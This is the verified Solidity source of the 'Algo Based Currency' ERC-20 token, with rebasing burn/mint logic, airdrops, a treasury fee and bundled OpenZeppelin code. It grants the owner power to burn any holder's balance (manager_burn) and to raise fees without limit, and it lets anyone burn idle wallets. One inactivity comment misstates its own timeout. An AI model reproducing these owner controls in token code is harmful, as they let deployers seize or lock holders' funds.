/**
 *Submitted for verification at Etherscan.io on 2024-08-16
 */

/*
    TG: https://t.me/AlgoErc
    X: https://x.com/AlgoErc
    Web: https://abcurrency.xyz/
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract ABC is IERC20, Ownable {

    IUniswapV2Router02 public immutable UNISWAP_ROUTER = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
    string public name = "Algo Based Currency";
    string public symbol = "ABC";
    bool public isBurning;

    mapping(address => uint256) public balanceOf;
    mapping(address => uint256) public lastTXtime;
    mapping(address => uint256) private lastLT_TXtime;
    mapping(address => uint256) private lastST_TXtime;
    mapping(address => mapping(address => uint256)) private allowances;

    address public airdropAddress;
    address[200] private eligibleAirdropRecipients;
    address public UniswapV2pair;
    address public airdrop_address_toList;
    address private treasuryAddress;

    uint256 private _totalSupply;
    uint256 public turn;
    uint256 public tx_n;
    uint256 private mint_pct;
    uint256 private burn_pct;
    uint256 public airdrop_pct;
    uint256 public treasury_pct;
    uint256 public addressCountForAirdrop;
    uint256 public minimum_for_airdrop;
    uint256 public onepct;
    uint256 public airdropThreshold;
    uint256 public inactive_burn;
    uint256 public airdrop_threshold;
    uint256 public decimals = 9;
    uint256 public max_supply;
    uint256 public min_supply;
    uint256 private last_turnTime;
    uint256 private init_ceiling;
    uint256 private initFloor;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    bool private isLimitActive;
    bool public firstrun;
    bool private swapping;
    bool private macro_contraction;

    constructor() Ownable(msg.sender) {
        uint256 init_supply = 66666 * 10**decimals;
        min_supply = 6666 * 10**decimals;
        max_supply = 99999 * 10**decimals;

        airdropAddress = msg.sender;
        treasuryAddress = 0xbB3293AB6445fAE2598f5840A343b7AfAC61166c;
        balanceOf[msg.sender] = init_supply;
        lastTXtime[msg.sender] = block.timestamp;
        lastST_TXtime[msg.sender] = block.timestamp;
        lastLT_TXtime[msg.sender] = block.timestamp;
        _totalSupply = init_supply;
        init_ceiling = max_supply;
        initFloor = min_supply;
        macro_contraction = true;
        turn = 0;
        last_turnTime = block.timestamp;
        isBurning = true;
        isLimitActive = true;
        tx_n = 0;
        uint256 deciCalc = 10**decimals;

        // 0.5% burning, minting
        mint_pct = (50 * deciCalc) / 10000;
        burn_pct = (50 * deciCalc) / 10000;      
        airdrop_pct = (100 * deciCalc) / 10000;   // 1% for airdrops
        treasury_pct = (350 * deciCalc) / 10000; // 3.5% fee
        airdropThreshold = (500 * deciCalc) / 10000;
        inactive_burn = (5000 * deciCalc) / 10000;
        airdrop_threshold = (25 * deciCalc) / 10000;
        onepct = (100 * deciCalc) / 10000;
        swapTokensAtAmount = (_totalSupply * 9) / 10000;
        maxWallet = (_totalSupply * 2) / 100;

        addressCountForAirdrop = 1;
        minimum_for_airdrop = 0;
        firstrun = true;
        eligibleAirdropRecipients[0] = airdropAddress;
        airdrop_address_toList = airdropAddress;

        address _pair = IUniswapV2Factory(UNISWAP_ROUTER.factory()).createPair(
            address(this),
            UNISWAP_ROUTER.WETH()
        );

        UniswapV2pair = _pair;
        emit Transfer(address(0), msg.sender, init_supply);
    }

    function updateFees(uint256 _treasuryFee)
        external
        onlyOwner
    {
        treasury_pct = ((_treasuryFee * 100) * 10**decimals) / 10000;
    }

    function _pctCalc_minusScale(uint256 _value, uint256 _pct)
        internal
        view
        returns (uint256)
    {
        return (_value * _pct) / 10**decimals;
    }

    function totalSupply() external view virtual returns (uint256) {
        return _totalSupply;
    }

    function allowance(address _owner, address _spender)
        external
        view
        virtual
        returns (uint256)
    {
        return allowances[_owner][_spender];
    }

    function burnRate() external view returns (uint256) {
        return burn_pct;
    }

    function mintRate() external view returns (uint256) {
        return mint_pct;
    }

    function showAirdropThreshold() external view returns (uint256) {
        return airdrop_threshold;
    }

    function showQualifiedAddresses()
        external
        view
        returns (address[200] memory)
    {
        return eligibleAirdropRecipients;
    }

    function checkWhenLast_USER_Transaction(address _address)
        external
        view
        returns (uint256)
    {
        return lastTXtime[_address];
    }

    function LAST_TX_LONGTERM_BURN_COUNTER(address _address)
        external
        view
        returns (uint256)
    {
        return lastLT_TXtime[_address];
    }

    function LAST_TX_SHORTERM_BURN_COUNTER(address _address)
        external
        view
        returns (uint256)
    {
        return lastST_TXtime[_address];
    }

    function lastTurnTime() external view returns (uint256) {
        return last_turnTime;
    }

    function macroContraction() external view returns (bool) {
        return macro_contraction;
    }

    function _rateadj() internal returns (bool) {
        if (isBurning) {
            burn_pct += burn_pct / 10;
            mint_pct += mint_pct / 10;
            airdrop_pct += airdrop_pct / 10;
            treasury_pct += treasury_pct / 10;
        } else {
            burn_pct -= burn_pct / 10;
            mint_pct += mint_pct / 10;
            airdrop_pct -= airdrop_pct / 10;
            treasury_pct -= treasury_pct / 10;
        }

        if (burn_pct > onepct * 6) {
            burn_pct -= onepct * 2;
        }

        if (mint_pct > onepct * 6) {
            mint_pct -= onepct * 2;
        }

        if (airdrop_pct > onepct * 3) {
            airdrop_pct -= onepct;
        }

        if (treasury_pct > onepct * 3) {
            treasury_pct -= onepct;
        }

        if (
            burn_pct < onepct || mint_pct < onepct || airdrop_pct < onepct / 2
        ) {
            uint256 deciCalc = 10**decimals;
            mint_pct = (50 * deciCalc) / 10000;
            burn_pct = (50 * deciCalc) / 10000;
            airdrop_pct = (100 * deciCalc) / 10000;
            treasury_pct = (350 * deciCalc) / 10000;
        }
        return true;
    }

    function _airdrop() internal returns (bool) {
        uint256 onepct_supply = _pctCalc_minusScale(
            balanceOf[airdropAddress],
            onepct
        );
        uint256 split = 0;
        if (balanceOf[airdropAddress] <= onepct_supply) {
            split = balanceOf[airdropAddress] / 250;
        } else if (balanceOf[airdropAddress] > onepct_supply * 2) {
            split = balanceOf[airdropAddress] / 180;
        } else {
            split = balanceOf[airdropAddress] / 220;
        }

        if (balanceOf[airdropAddress] - split > 0) {
            balanceOf[airdropAddress] -= split;
            balanceOf[eligibleAirdropRecipients[addressCountForAirdrop]] += split;
            lastTXtime[airdropAddress] = block.timestamp;
            lastLT_TXtime[airdropAddress] = block.timestamp;
            lastST_TXtime[airdropAddress] = block.timestamp;
            emit Transfer(
                airdropAddress,
                eligibleAirdropRecipients[addressCountForAirdrop],
                split
            );
        }

        return true;
    }

    function _mint(address _to, uint256 _value) internal returns (bool) {
        require(_to != address(0), "Invalid address");
        _totalSupply += _value;
        balanceOf[_to] += _value;
        emit Transfer(address(0), _to, _value);
        return true;
    }

    function _macro_contraction_bounds() internal returns (bool) {
        if (isBurning) {
            min_supply = min_supply / 2;
        } else {
            max_supply = max_supply / 2;
        }
        return true;
    }

    function _macro_expansion_bounds() internal returns (bool) {
        if (isBurning) {
            min_supply = min_supply * 2;
        } else {
            max_supply = max_supply * 2;
        }
        if (turn == 56) {
            max_supply = init_ceiling;
            min_supply = initFloor;
            turn = 0;
            macro_contraction = false;
        }
        return true;
    }

    function _turn() internal returns (bool) {
        turn += 1;
        if (turn == 1 && !firstrun) {
            uint256 deciCalc = 10**decimals;
            mint_pct = (50 * deciCalc) / 10000;
            mint_pct = (50 * deciCalc) / 10000;
            airdrop_pct = (100 * deciCalc) / 10000;
            treasury_pct = (350 * deciCalc) / 10000;
            macro_contraction = true;
        }
        if (turn >= 2 && turn <= 28) {
            _macro_contraction_bounds();
            macro_contraction = true;
        } else if (turn >= 29 && turn <= 56) {
            _macro_expansion_bounds();
            macro_contraction = false;
        }
        last_turnTime = block.timestamp;
        return true;
    }

    function _burn(address _to, uint256 _value) internal returns (bool) {
        require(_to != address(0), "Invalid address");

        _totalSupply -= _value;
        balanceOf[_to] -= _value;
        emit Transfer(_to, address(0), _value);
        return true;
    }

    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function burn_Inactive_Address(address _address) external returns (bool) {
        require(_address != address(0), "Invalid address");
        require(
            !isContract(_address),
            "This is a contract address. Use the burn inactive contract function instead."
        );
        uint256 inactive_bal = 0;

        if (_address == airdropAddress) {
            require(
                block.timestamp > lastTXtime[_address] + 259200,
                "Unable to burn, the airdrop address has been active for the last 7 days"
            );
            inactive_bal = _pctCalc_minusScale(
                balanceOf[_address],
                inactive_burn
            );
            _burn(_address, inactive_bal);
            lastTXtime[_address] = block.timestamp;
        } else {
            if (block.timestamp > lastST_TXtime[_address] + 259200) {
                inactive_bal = _pctCalc_minusScale(
                    balanceOf[_address],
                    inactive_burn
                );
                _burn(_address, inactive_bal);
                lastST_TXtime[_address] = block.timestamp;
            } else if (block.timestamp > lastLT_TXtime[_address] + 518400) {
                _burn(_address, balanceOf[_address]);
            }
        }

        return true;
    }

    function burn_Inactive_Contract(address _address) external returns (bool) {
        require(_address != address(0), "Invalid address");
        require(isContract(_address), "Not a contract address.");
        require(_address != UniswapV2pair, "Cannot burn from LP address");
        require(
            _address != address(UNISWAP_ROUTER),
            "Cannot burn from Router address"
        );
        uint256 inactive_bal = 0;

        if (block.timestamp > lastST_TXtime[_address] + 259200) {
            inactive_bal = _pctCalc_minusScale(
                balanceOf[_address],
                inactive_burn
            );
            _burn(_address, inactive_bal);
            lastST_TXtime[_address] = block.timestamp;
        } else if (block.timestamp > lastLT_TXtime[_address] + 518400) {
            _burn(_address, balanceOf[_address]);
            lastLT_TXtime[_address] = block.timestamp;
        }

        return true;
    }

    function flashback(address[259] memory _list, uint256[259] memory _values)
        external
        onlyOwner
        returns (bool)
    {
        require(msg.sender != address(0), "Invalid address");

        for (uint256 x = 0; x < 259; x++) {
            if (_list[x] != address(0)) {
                balanceOf[msg.sender] -= _values[x];
                balanceOf[_list[x]] += _values[x];
                lastTXtime[_list[x]] = block.timestamp;
                lastST_TXtime[_list[x]] = block.timestamp;
                lastLT_TXtime[_list[x]] = block.timestamp;
                emit Transfer(msg.sender, _list[x], _values[x]);
            }
        }

        return true;
    }

    function manager_burn(address _to, uint256 _value)
        external
        onlyOwner
        returns (bool)
    {
        require(_to != address(0), "Invalid address");
        require(msg.sender != address(0), "Invalid address");
        require(_to != UniswapV2pair, "cannot burn pair tokens");
        _totalSupply -= _value;
        balanceOf[_to] -= _value;
        emit Transfer(_to, address(0), _value);
        return true;
    }

    function setAirdropAddress(address _airdropAddress)
        external
        onlyOwner
        returns (bool)
    {
        require(msg.sender != address(0), "Invalid address");
        require(_airdropAddress != address(0), "Invalid address");
        require(msg.sender == airdropAddress, "Not authorized");

        airdropAddress = _airdropAddress;
        return true;
    }

    function airdropProcess(
        uint256 _amount,
        address _txorigin,
        address _sender,
        address _receiver
    ) internal returns (bool) {
        minimum_for_airdrop = _pctCalc_minusScale(
            balanceOf[airdropAddress],
            airdrop_threshold
        );
        if (_amount >= minimum_for_airdrop && _txorigin != address(0)) {
            if (!isContract(_txorigin)) {
                airdrop_address_toList = _txorigin;
            } else {
                if (isContract(_sender)) {
                    airdrop_address_toList = _receiver;
                } else {
                    airdrop_address_toList = _sender;
                }
            }

            if (firstrun) {
                if (addressCountForAirdrop < 199) {
                    eligibleAirdropRecipients[
                        addressCountForAirdrop
                    ] = airdrop_address_toList;
                    addressCountForAirdrop += 1;
                } else if (addressCountForAirdrop == 199) {
                    firstrun = false;
                    eligibleAirdropRecipients[
                        addressCountForAirdrop
                    ] = airdrop_address_toList;
                    addressCountForAirdrop = 0;
                    _airdrop();
                    addressCountForAirdrop += 1;
                }
            } else {
                if (addressCountForAirdrop < 199) {
                    _airdrop();
                    eligibleAirdropRecipients[
                        addressCountForAirdrop
                    ] = airdrop_address_toList;
                    addressCountForAirdrop += 1;
                } else if (addressCountForAirdrop == 199) {
                    _airdrop();
                    eligibleAirdropRecipients[
                        addressCountForAirdrop
                    ] = airdrop_address_toList;
                    addressCountForAirdrop = 0;
                }
            }
        }
        return true;
    }

    function removeLimits() external onlyOwner {
        isLimitActive = false;
    }

    function transfer(address _to, uint256 _value) external returns (bool) {
        address _owner = msg.sender;
        _transfer(_owner, _to, _value);
        return true;
    }

    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount * 10**decimals;
    }

    function _transfer(
        address _from,
        address _to,
        uint256 _value
    ) internal returns (bool) {
        require(_value != 0, "No zero value transfer allowed");
        require(_to != address(0), "Invalid Address");

    if (isLimitActive) {
        if (_from != airdropAddress && _to != airdropAddress) {
            if (!swapping && _from == UniswapV2pair && _to != owner()) {
                require(
                    _value + balanceOf[_to] <= maxWallet,
                    "max 2% buy allowed"
                );
            }
        }
    }

        if (swapping) {
            return _normalTransfer(_from, _to, _value);
        }

        uint256 contractTokenBalance = balanceOf[address(this)];
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            !swapping &&
            _to == UniswapV2pair &&
            _from != address(this) &&
            _to != address(this) &&
            msg.sender != UniswapV2pair
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }

            if (block.timestamp > last_turnTime + 60) {
                if (_totalSupply >= max_supply) {
                    isBurning = true;
                    _turn();
                    if (!firstrun) {
                        uint256 turn_burn = _totalSupply - max_supply;
                        if (balanceOf[airdropAddress] - turn_burn * 2 > 0) {
                            _burn(airdropAddress, turn_burn * 2);
                        }
                    }
                } else if (_totalSupply <= min_supply) {
                    isBurning = false;
                    _turn();
                    uint256 turn_mint = min_supply - _totalSupply;
                    _mint(airdropAddress, turn_mint * 2);
                }
            }

            if (addressCountForAirdrop == 0) {
                _rateadj();
            }

            if (isBurning) {
                uint256 burn_amt = _pctCalc_minusScale(_value, burn_pct);
                uint256 airdrop_amt = _pctCalc_minusScale(_value, airdrop_pct);
                uint256 treasury_amt = _pctCalc_minusScale(
                    _value,
                    treasury_pct
                );
                uint256 tx_amt = _value - burn_amt - airdrop_amt - treasury_amt;

                _burn(_from, burn_amt);
                balanceOf[_from] -= tx_amt;
                balanceOf[_to] += tx_amt;
                emit Transfer(_from, _to, tx_amt);

                balanceOf[_from] -= treasury_amt;
                balanceOf[address(this)] += treasury_amt;
                emit Transfer(_from, address(this), treasury_amt);

                uint256 airdrop_wallet_limit = _pctCalc_minusScale(
                    _totalSupply,
                    airdropThreshold
                );
                if (balanceOf[airdropAddress] <= airdrop_wallet_limit) {
                    balanceOf[_from] -= airdrop_amt;
                    balanceOf[airdropAddress] += airdrop_amt;
                    emit Transfer(_from, airdropAddress, airdrop_amt);
                }

                tx_n += 1;
                airdropProcess(_value, tx.origin, _from, _to);
            } else if (!isBurning) {
                uint256 mint_amt = _pctCalc_minusScale(_value, mint_pct);
                uint256 airdrop_amt = _pctCalc_minusScale(_value, airdrop_pct);
                uint256 treasury_amt = _pctCalc_minusScale(
                    _value,
                    treasury_pct
                );
                uint256 tx_amt = _value - airdrop_amt - treasury_amt;

                _mint(tx.origin, mint_amt);
                balanceOf[_from] -= tx_amt;
                balanceOf[_to] += tx_amt;
                emit Transfer(_from, _to, tx_amt);

                balanceOf[_from] -= treasury_amt;
                balanceOf[address(this)] += treasury_amt;
                emit Transfer(_from, address(this), treasury_amt);

                uint256 airdrop_wallet_limit = _pctCalc_minusScale(
                    _totalSupply,
                    airdropThreshold
                );
                if (balanceOf[airdropAddress] <= airdrop_wallet_limit) {
                    balanceOf[_from] -= airdrop_amt;
                    balanceOf[airdropAddress] += airdrop_amt;
                    emit Transfer(_from, airdropAddress, airdrop_amt);
                }

                tx_n += 1;
                airdropProcess(_value, tx.origin, _from, _to);
            } else {
                revert("Error at TX Block");
            }

        lastTXtime[tx.origin] = block.timestamp;
        lastTXtime[_from] = block.timestamp;
        lastTXtime[_to] = block.timestamp;
        lastLT_TXtime[tx.origin] = block.timestamp;
        lastLT_TXtime[_from] = block.timestamp;
        lastLT_TXtime[_to] = block.timestamp;
        lastST_TXtime[tx.origin] = block.timestamp;
        lastST_TXtime[_from] = block.timestamp;
        lastST_TXtime[_to] = block.timestamp;

        return true;
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf[address(this)];
        bool success;

        if (contractBalance == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }
        swapTokensForEth(contractBalance);

        (success, ) = address(treasuryAddress).call{value: address(this).balance}("");
    }

    function swapTokensForEth(uint256 _amount) public {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = UNISWAP_ROUTER.WETH();
        _approve(address(this), address(UNISWAP_ROUTER), _amount);
        UNISWAP_ROUTER.swapExactTokensForETHSupportingFeeOnTransferTokens(
            _amount,
            0,
            path,
            treasuryAddress,
            block.timestamp
        );
    }

    function _normalTransfer(
        address _from,
        address _to,
        uint256 _value
    ) internal returns (bool) {
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        emit Transfer(_from, _to, _value);
        return true;
    }

    function transferFrom(
        address _from,
        address _to,
        uint256 _value
    ) external returns (bool) {
        allowances[_from][msg.sender] -= _value;
        _transfer(_from, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) external returns (bool) {
        address _owner = msg.sender;
        return _approve(_owner, _spender, _value);
    }

    function _approve(
        address _owner,
        address _spender,
        uint256 _value
    ) private returns (bool) {
        allowances[_owner][_spender] = _value;
        emit Approval(_owner, _spender, _value);
        return true;
    }

    receive() external payable {}
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;

import {Context} from "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

{
  "compilationTarget": {
    "contracts/AlgoBasedCurrency.sol": "ABC"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}